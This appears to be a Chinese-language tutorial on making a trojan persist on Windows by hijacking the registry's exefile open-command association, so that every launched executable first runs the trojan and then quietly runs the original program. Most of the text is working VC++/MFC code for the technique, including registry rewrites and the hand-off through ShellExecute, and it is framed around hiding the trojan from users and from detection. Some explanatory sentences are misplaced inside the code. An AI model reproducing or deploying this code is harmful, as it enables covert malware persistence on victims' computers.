我們知道一般情況下想在開機啟動程序,就要把程序寫在注冊表中的
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\\CurrentVersion\RunService
等環境中,由於這個值大家都比較熟悉所以很容易被查出,而且進入了windows保護模式這些程序是不會運行的,但是如果我們把我們的程序在注冊表中進行了關聯卻收到了很好的結果。
在注冊表HKEY_CLASSES_ROOT\exefile\shell\open\command中的值就是可執行程序*.exe
文件的關聯處,缺省為“"%1"
%*”,如果把這個程序改為我們的木馬程序,那樣的話,每執行一個可執行程序就會執行我們的程序,而不會再執行原有的程序,這樣我們的木馬就起動了,我們要做的工作就是我們的木馬啟動後,再執行原有的程序,這樣對於一般的人來看好像什麼事也沒發生過。好了心動不如行動,我們開始動手做一個吧。
l 首先用vc建立一個基於對話框的程序srart
在CstartDlg加入公有變量 HANDLE hMutex;防止我們的木馬運行多次。
l 在CStartDlg::OnInitDialog()中加入如下函數:
CString str;
程序了。即使是在安全模式下只要執行可執行程序就會運行我們的程序了。
str.Format("%s", AfxGetApp()->m_lpCmdLine);//取得傳入的命令行參數
const char *MutexObject="MyStart";//建立互斥對象
hMutex=NULL;
hMutex=::CreateMutex(false,false,MutexObject);
if(hMutex!=NULL)
{
DWORD err=GetLastError();
if(err==ERROR_ALREADY_EXISTS)
::PostQuitMessage(0);//如果發現同一程序已經運行,則退出
}
if(str!="")
{
CString temp;
char ch;
int length =str.GetLength();
for(int i=0;i<length;i++)
{
ch=str.GetAt(i);
if(ch=='\\')
temp=temp+"\\\\";
else temp=temp+ch;
}
temp = temp.Left(temp.GetLength() - 2);
temp = temp.Mid(1);
//上面的函數是把字符串中所有的”\”變為”\\”
char str1[]="\"%1\" %*";
::RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",
REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);
//
在執行原有程序之前必須把注冊表恢復,否則用ShellExecute還是執行我們的木馬程序。
ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//執行原有的程序
}
//在程序執行完成後,再把注冊表改為我們要啟動的木馬程序的
TCHAR str2[256];
// 得到程序全路徑名
GetModuleFileName( NULL, str2, 255 );
strcat(str2," \"%1\" %*");
::RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",
REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);
//經過上述過程只要程序一運行就會執行我們的start